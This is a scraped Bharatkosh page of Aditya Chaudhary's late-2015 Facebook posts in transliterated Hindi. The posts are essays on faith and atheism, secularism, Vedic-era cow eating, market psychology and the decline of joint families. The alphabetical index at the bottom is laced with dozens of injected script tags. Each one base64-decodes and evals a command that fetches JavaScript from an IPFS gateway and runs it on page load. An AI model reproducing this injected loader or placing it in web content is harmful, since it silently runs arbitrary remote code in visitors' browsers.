आदित्य चौधरी -फ़ेसबुक पोस्ट अक्टूबर-दिसम्बर 2015

adity chaudhari fesabuk post

varsh 2010-2011 • varsh 2012 • sitanbar 2013 • aktoobar 2013 • navanbar 2013 • disanbar 2013 • janavari 2014 • faravari 2014 • march 2014 • aprॅl 2014 • mee 2014 • joon 2014 • julaee 2014 • agast 2014 • sitanbar 2014 • aktoobar 2014 • navanbar 2014 • disanbar 2014 • janavari 2015 • faravari 2015 • march 2015 • aprॅl 2015 • mee 2015 • joon 2015 • julaee-sitambar 2015 • aktoobar-disambar 2015 • janavari-joon 2016 • julaee-disambar 2016 • janavari-march 2017 • aprail 2017 • mee-disanbar 2017

adity chaudhari- fesabuk post

dinaank- 22 disambar, 2015

samany, bat-chit mean maian aksar kah deta hooan ki maian bhagavan ko nahian manata lekin mere sath jo ghatata hai vah b da hi vilakshan anubhav rahata hai.

maian kuchh samay pahale gorakhapur gaya tha. vahaan gorakhanath ji ke mandir mean gaya to vahaan baithe-baithe mere man mean gorakhanath ji ka mantr ‘hansiba kheliba dhariba dhyanamh’ chalane laga aur meri aankhean bhar aeean, kuchh samay ke lie sudh-budh kho baitha. vahaan se utha to usi parisar mean hanuman ji ka mandir tha. hanuman ji ke samane baithakar hanuman chalisa padha. padhate-padhate phir vahi hal ho gaya jo gorakhanath mandir mean hua tha. isake bad hanuman prasad poddar ji ke gita bhavan gaya vahaan mandir mean darshan kie usake bad jab bahar aya to krishna bhajan chal rahe the kh da-kh da aankh band ki to phir bhavuk ho gaya.

jab mujhe bharat sarakar ne vishv hindi samman diya to is karyakram ke lie maian bhopal gaya. vahaan ek purani vishalakay masjid mean ja pahuancha. yah masjid paryatakoan ke lie bhi upalabdh hai. masjid mean kuchh der aankhean band kie baitha raha. jaise hi maianne man mean kaha ki he eeshvar… allah ! sabaka bhala kar, sabake kam bana to phir akhoan mean aansoo a ge. vahaan baithe muslim, ashchary se mujhe dekhane lage kyoanki mere mathe par tilak laga tha aur kalaee par kalava bandha tha aur sath hi, maian baitha bhi hath jo dakar tha. vahaan baithe ek buzurg maulavi ne mujhe dekha to karuna ke bhav ke sath muskura die.

manushy ka jivan eeshvar ki astha-anastha mean vyatit hota hai. eeshvar ke prati aastha hone ka arth kisi dharm ke prati astha hona hai ya nahian yah nishchit nahian hai. ho sakata kisi dharm vishesh mean paida hua vyakti apane dharm ki paribhasha aisi bana le jisamean doosare dharmavalambiyoan ke lie nafarat ho. vah atank ke dvara apane dharm ko phailana chahe ya apane dharm ka prayog rajaniti aur vyavasay ke lie kare. aise log nastik hi hote haian aur yah nastikata eeshvar ke prati hai. is prakar ke nastikoan ki sankhya asankhy hai.

ham astik haian yah to thik hai kiantu kisake prati hai yah astikata. eeshvar ke prati, manav-dharm ke prati ya sanpraday ke prati. yah zaroori nahian hai ki koee vyakti kisi sanpraday-mazahab ke prati astha rakhata ho to eeshvar mean bhi usaki astha ho. eeshvar mean astha ka arth eeshvar ki stuti nahian hai balki saty, karuna, vivek aur prem ke marg par chalana hai aur yahi eeshvar-pradatt marg hai. ab sochane vali bat yah hai ki kitane log is marg par chalate haian? sanbhavat: kam hi haian to bas hisab laga sakate haian ki astikoan ki sankhya adhik hai ya nastikoan ki.

dinaank- 22 disambar, 2015

brajabhasha mean likhi in panktiyoan ka anuvad hindi mean karean. sahi anuvad karane vale ko ‘brajaratn’ se sammanit kiya jaega…

balay ulaitau, bhoomarean uthi gau. dhauantaanean kaleoo karikean dhaupari tak arakas se mean daryo rau. pahal tau ek jane ko paian dau dekhyo… jab bu n ayau to patau pari ki bate koee banua banigau. saanjhi kooan chaha pi kean ghoomabe nikaryo to bagadabe mean aber hai gee. jaisean-taisean ghar lyautyau, tau lautatakhaimee batti pai bijuri pari gee. aandhere mean tatol-talalikean bhitar ghusyau tau pam rapati kean saianchitt giryo. girt khaianm jhama sau ai gau. aankh khuli to asapatal mean mhauan pai muchhika sau baandh kean ek nass dikhi.
khairi ab tau sab thikai.

dinaank- 21 disambar, 2015

maian yahaan kisi dharm-sanpraday-mazahab ke paksh-vipaksh mean nahian likh raha hooan. isalie kisi dharm-sanpraday ya mazahab ke ati utsahi samarthak nimn panktiyoan ko samany arthoan mean hi lean. karan yah hai ki maian svayan ko vidvanh n manate hue matr ek jijnasu ke saman hi likhata hooan. mere likhe par jo tippani ati haian usase meri janakari badhati hai. kabhi-kabhi kuchh log meri post par mujhe kisi ek paksh ka manate hue tippani kar dete haian jisaka koee arth nahian hai. maian bharatakosh (www.bharatkosh.org) chala raha hooan aur bharat ki paranpara, sanskriti aur itihas adi ki khoj mean laga rahata hooan. mujhe jab bhi jo bhi janane ko milata hai, likhane ka prayas karata hooan. maian kisi vishay par koee ath aauriti nahian hooan aur ek sadharan roop se padha-likha vyakti hooan.

aziz ke ray mere fesabuk mitr haian. vidvanh haian aur sath hi meri lekhani ke prashansak bhi haian. unaki ek post aee,
Aziz K. Rai

"nirapeksh, nishpaksh, nastik, nidar, nirakar aur nisvarth” mujhe ye shabd hi beeeman (kapati) lagate haian. jo inake pakshadhar hote haian unaki batean niradhar hoti haian."

maianne post dekhi to socha is par apani ray zahir kar dooan.
yahaan maian ‘nirapeksh' par likh raha hooan:-

dharm ko dharan karane vala yane dharmik vyakti saty ke marg par hi chalane ka prayas karata hai aur saty ka marg kisi ek ke lie hi sapeksh ho yah sanbhav nahian hai. isalie dharmik vyakti, kisi dharm-sanpraday ke lie nahian balki saty-marg ke lie pratibaddh hota hai.

‘satyanishtha’ sadaiv nirapeksh aur nishpaksh hi hoti hai. saty ka marg nirapeksh aur nishpaksh hi hota hai. 'sapeksh saty’ jaisi koee chiz nahian hoti. pratyek vyakti ke lie apana-apana sach to ho sakata hai kintu saty to sabhi ke lie ek hi hai. jab saty nirapeksh hai to ham moolat: nirapeksh hi to hue.

nirapekshata ka arth yadi aj ki paristhitiyoan ki tarah ooant-pataang n nikal kar samany dhang se liya jae to ham sabhi nirapeksh hi hote haian. yadi yahaan nirapekshata ka arth dharm-nirapekshata se hai to bhi mera vichar yahi hai. kisi dharm ke bare mean hamara apana paksh koee nahian hota. ham matr anusaran hi karate haian. anusaran, sanskaroan ka aur virasat mean mili astha ka.

yadi koee vyakti bachapan mean hi kisi viran tapoo par chhoot jae aur vahian akela pale-badhe… to sochie ki usaka dharm kya hoga?

asal mean prachalit ‘dharm’ ek samajik vishay hai, vyaktigat vishay nahian hai. kisi bhi vyakti ke param ekaant mean koee dharm ya jati nahian hoti yah to samaj ki upasthiti janit lakshan ya vishay hai. ham samaj ki upasthiti mean hi dharm ko apanate athava nakarate haian.

dinaank- 15 disambar, 2015

mahish ya mahishi shabd ka arth sanskrit mean, bhaiansa, bhaians, rani aur veshya ke lie hai. gay ke lie nahian. maianne likha hai ki samany bhojan mean gay ko khana kahian uddrit nahian hai. di en jha, di di kosanbi, romila thapar, rajava de, bhagavatasharan upadhyay adi kya yah pramanit karate haian ki vaidik kal mean 'manushy ka priy bhojan gaumaans tha'? maianne in sabhi ko padha hai. mujhe aisa kahian nahian mila. kee aangrez itihasakaroan ne vaidik kalin shabd 'ann' ko gay manakar likha hai. jo sahi pratit nahian hota.

in itihasakaroan ne jo udaharan die haian ve vishesh avasaroan ke haian. aise avasar 'bali chadhana', shraddh, madhupark, vishal yajn adi. in udaharanoan mean bhi spasht roop se pratyek avasar par gay ka zikr ho aisa nahian hai.

bahut se shabdoan ke arth bhi doosare hi nikale ge haian. jaise gaian de ka maans khane ka zikr hai. gaian de shabd ka prayog ek prakar ke pakshi ke lie bhi hota tha. jisaka zikr vaman kane ne kiya hai. anek rrishi muniyoan ka maans khane ka zikr hai. jinamean agasty aur shukrachary pramukh haian. kintu yah kahian nahian likha ki kisi rrishi-muni ka priy bhojan gay thi. kisi vishal yajn jaise ki 'ashvamedh' mean brahmanoan ko gay ka maans parosa gaya ho, aisa ullekh nahian hai. bhojan premi rrishiyoan mean durvasa bhi hue haian, unako kisi ne gaumaans parosa ho yah kahian nahian milata.

bhim, hanuman, jarasandh, duryodhan adi jaise vir yoddha bhi gaumaans nahian khate the. usase pahale vaidik kal mean jaean to sudas aur shashabindu ka kahian gaumaans khane ka ullekh nahian hai. ravan, kans, vanasur, adi ki kahian gaumaans khane ki bat nahian hai. devataoan ko to chho diye rakshasoan tak ka gaumaans khane ka ullekh nahian hai.

aangrazoan ne bharatiy sanskriti ko mitane ke lie ootapataang likha aur hamane man liya?

ek bar phir ganbhirata se vichar kijie bhaee sab! hamare kisi ritirivaj mean gaumaans bhakshan ka pratik nahian hai. bharat mean gay to kamadhenu ka svaroop lie hue rahi hai. isake bhakshan ka to koee prashn hi nahian.

dinaank- 14 disambar, 2015

pichhale dinoan, gauvadh aur gaumaans bhakshan par kafi bahas chali thi. anek tark rakhe ge. yahaan maian rrigved ke havale se kahana chahata hooan ki gay ko rrigved mean anek sthanoan par aghnya kaha gaya hai. jisaka arth hai ‘avadhy’ jisaka vadh n kiya jata ho. sanskrit bhasha ke jnani janate haian ki ‘gh’ akshar sanskrit mean prahar ke lie bhi prayukt hota hai. jisase ‘ghan’ shabd bhi bana hai jisaka arth ek gada jaisa shastr bhi hai. ghan kale badaloan ke lie bhi hai jo ki bijali ki k dak aur prahar utpann karate haian.

rrigved mean aghnya shabd ka prayog bar-bar gay ke lie prayukt hona hamean yah sochane par majaboor karata hai ki vedoan mean gay ko matr doodh ke sevan ke lie pala jata tha n ki use rozana ke bhojan ke lie mar kar aur paka kar khane ke lie. jahaan tak bali chadhane ka prashn hai to mere vichar se bali chadhana ek utsav ke roop mean hota raha hai. jo kisi devata vishesh ke krodh ko shaant karane ke lie ya phir use prasann karane ke lie hota tha. kahian-kahian aj bhi hota hai. jisamean bhaianse ki ya padde ki bali chadhane ka rivaj raha hai.

yah bhi kaha jata hai ki kisi vishesh avasar ke lie gay ya usake bachh de ki bali chadhaee jati thi parantu jahaan tak meri janakari hai, isaka koee vaidik ullekh milata nahian. vyaktigat roop se mujhe nahian lagata ki gay vaidik kal mean pratidin ke bhojan ka hissa rahi hogi. d aau. ramavilas sharma ji ne vistar se is sanbandh mean likha hai… pathaniy hai.

yahaan ek vaijnanik drishtikon bhi hai- vaijnanik manate haian ki manushy ki mitrata ki ‘b aaundig’ sabase adhik kutte ke sath huee. isi kram mean gho da aur gay bhi ate haian. yah bhi mana gaya hai ki jin janavaroan se manushy ki ‘b aaundig’ huee unako bhojan ki tarah khane mean manushy ko hichak huee aur aise janavaroan ko manushy ne nahian khaya.

kuchh bhi kahean gay ko dekhakar bhi to aisa nahian lagata ki isako marakar khaya jana chahie. hamare samaj mean sidhe-saral vyakti ke lie kaha jata hai ki bilkul gay ki tahar sidha/sidhi hai. gay ka doodh bhi manushy ke lie sarvashreshth bhojan mana gaya hai. gaumootr aur gobar se lekar gay hamare lie apane poore astitv sahit mahatvapoorn hai to phir ise khaean kyoan...

dinaank- 12 disambar, 2015

ek mandir ki bahut manyata thi. mandir ke charoan or door-door tak registan tha. ek tile numa paha d par yah mandir bana hua tha. jahaan se mandir ki chadhaee shuroo hoti thi vahaan ek dukan thi.

ek yatri ne dukanadar se mandir ke raste ke bare mean poochha to dukanadar ne ishare se bata diya. yatri chadhaee chadhakar mandir tak pahuancha to use mandir mean bhitar jane se rok diya gaya. poochhane par pata chala ki mandir mean vahi pravesh kar sakata hai jo vishesh prakar ki topi pahane ho. yatri nirash hokar vapas lauta to dukanadar ne bataya ki vaisi topi to vah bechata hai.
qimat poochhane par bataee ‘ek hazar rupe’

yatri ne ashchary se poochha- “jab ye topi tumhare pas bikati hai to tumane pahale kyoan nahian bataya ? maian mandir tak pahuancha aur vapas lauta… ab tum bata rahe ho ki topi tumhare pas hai… isaka kya matalab hai?

dukanadar ne samajhaya- “agar maian tumase pahale hi kahata ki topi le lo aur hazar rupe qimat batata to tum nahian kharidate. mandir jane ki pareshani uthakar tumako topi ki zaroorat samajh mean a gee hai. ab tum hazar rupe ki topi aram se kharid loge.”

ye udaharan bazar ki saplaee-dimaand samikaran ko samajhane ke lie diya hai. bazar, bhavanaoan se nahian balki bhavanaoan ko bhunane se chalata hai.

dinaank- 6 aktoobar, 2015

bharatakosh sanpadakiy ka aansh

duniya mean jin khojoan ka vishesh mahatv hai unamean pahiya, shoony, dashamalav, π (paee), pustak chhapaee, gurutvakarshan, baitari, motar, dayanamo adi haian. inamean dayanamo ne jo prabhav dala hai vo to gazab hai. bijali ka banane aur am jan ke lie sulabh ho jane se jaise duniya hi badal gee. kah sakate haian ki duniya do haian, ek bijali se pahale ki duniya aur doosari bijali ke bad ki duniya.

bijali aee to kutir udyog, kal karakhanoan mean badal ge. log apana gaanv apana shahar aur yahaan tak ki apana desh chho dakar rozagar ki talash mean ghar se door ghar basane lage. shuruat mean purush hi bahar jate the phir parivar sahit jane lage. sanyukt parivar ki bhavy vyavastha daraqane lagi.

grihani ko sanyukt parivar mean apani svatantrata ka hanan hota pratit hone laga. mera pati, mere bachche aur mera ghar hi variyata ho gee. rishtedariyoan ka anand ab matr rishtedari nibahane tak simit rah gaya. dhire-dhire log ‘ham’ se ‘maian’ mean badalane lage. bachchoan ko bordiang skooloan mean padhaya jane laga. vaise to bachchoan ko prachinakal se hi, abhibhavakoan se door rakhakar gurukuloan mean padhane ki paranpara rahi hai lekin us samay ki gurukul paranpara mean aur ab ki bordiang vyavastha mean koee talamel nahian hai.

bijali ane ke bad tivi, kanpyootar, mobail fon adi ki bahut b di bhoomika sanyukt parivar ki vyavastha ko samapt karane mean rahi.

zara yah bhi sochana chahie ki yah parivartan sahi tha ya galat ? sanyukt parivar, hamari sabhyata-sanskriti, vikas aur svatantrata ke lie uchit the ya anuchit ?

jahaan tak nari vimarsh ki bat hai to nishchit roop se grihasth jivan mean sanyukt parivar ek grihani ke lie bandhanoan se bhare rahe hoange. nari svatantrata jaisi sthiti in parivaroan mean kitani sanbhavana lekar jivit rahati hogi yah kahana koee kathin kam nahian hai. sanyukt parivar ki vyavastha bharat ke ek-adh rajy ko chho dakar samanyat: purush pradhan thi. sanyukt parivar, ek parivar n hokar ek kutuanb hota tha. jisaka mukhiya apane ya paranparaoan dvara nishpadit niyamoan ko kutuanb ke sabhi sadasyoan par lagoo karata tha.

sanyukt parivar suraksha ki drishti ko dekhakar bane the. prachin kal mean n to aj jaise makan the, n rajy dvara di gee suraksha itani sudridh thi. jangali janavaroan ka bhay, dakuoan ka bhay, doosare parivar, qabile ya gaanv dvara hamala kie jane ka bhay adi anek asurakshit vatavaran ka samana karate jina hi sanyukt parivar ka karan bane.

ise samajhane ke lie aur tho da adikal ki or chalean to dharati par 5 lakh varsh tak bane rahane vali nieandarathal nasl ke aj se 25 hazar sal pahale lupt ho jane ke karanoan mean se ek sanyukt parivar ki kamazor sanrachana bhi tha. nieandarathal sharir ke akar aur shakti mean homosaipiyans se adhik the kiantu bhari hathiyaroan ka prayog karate the. jinhean ve hath mean pak de-pak de hi istemal karate the arthath ve shastroan ka prayog karate the astroan ka nahian. astr ko pheankakar chalaya jata hai. ye balishth nasl apane bhari-bharakam bhaloan ka prayog pheankakar nahian kar pati thi isake viparit homosaipiyans apane halke bhaloan ko pheank bhi sakate the.

nieandarathal ke qabile-parivar chhote the aur isamean 20 se 30 sadasy hote the. homosaipiyans ke qabile 100 se adhik sadasyoan ke the. dhire-dhire nieandarathal yoorop se gayab ho ge. jisaka karan tha donoan nasloan ki bhojan ko lekar l daee aur apas mean vaivahik sanbandh n ho pana. sath hi sankhya bal se bhi homosaipiyans jit ge.

oopar diya udaharan yah pramanit karata hai ki prachin kal mean b de sanyukt parivar adhik surakshit aur vyavaharik the. aj jabaki manushy ko suraksha aur bhojan ke lie prachin kal jaisa sangharsh nahian karana p data to sanyukt parivar ki avadharana samapt ho rahi hai.

sanyukt parivaroan ka chalan samapt hone se purush aur stri ka bhed kam hua. nari ko svatantr-svachchhand akash mean vicharan karane ka mauqa mila. nee pahachan milane lagi. pratibha nikharane ka samay aur mauqa milane laga. yah sab kuchh hua lekin ham rishtoan ko jina bhoolate chale ge. rishtoan ka anand lena bhoolane lage. dadi-nani ki kahaniyaan aur ladh jaise kahian chhoot gaya. kah nahian sakate ki achchha hua ya bura lekin itana avashy hai ki sanyukt parivar ki yadean ajakal buzurgoan ki gapashap ka sabase b da hissa ban geean…

shabdarth

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr 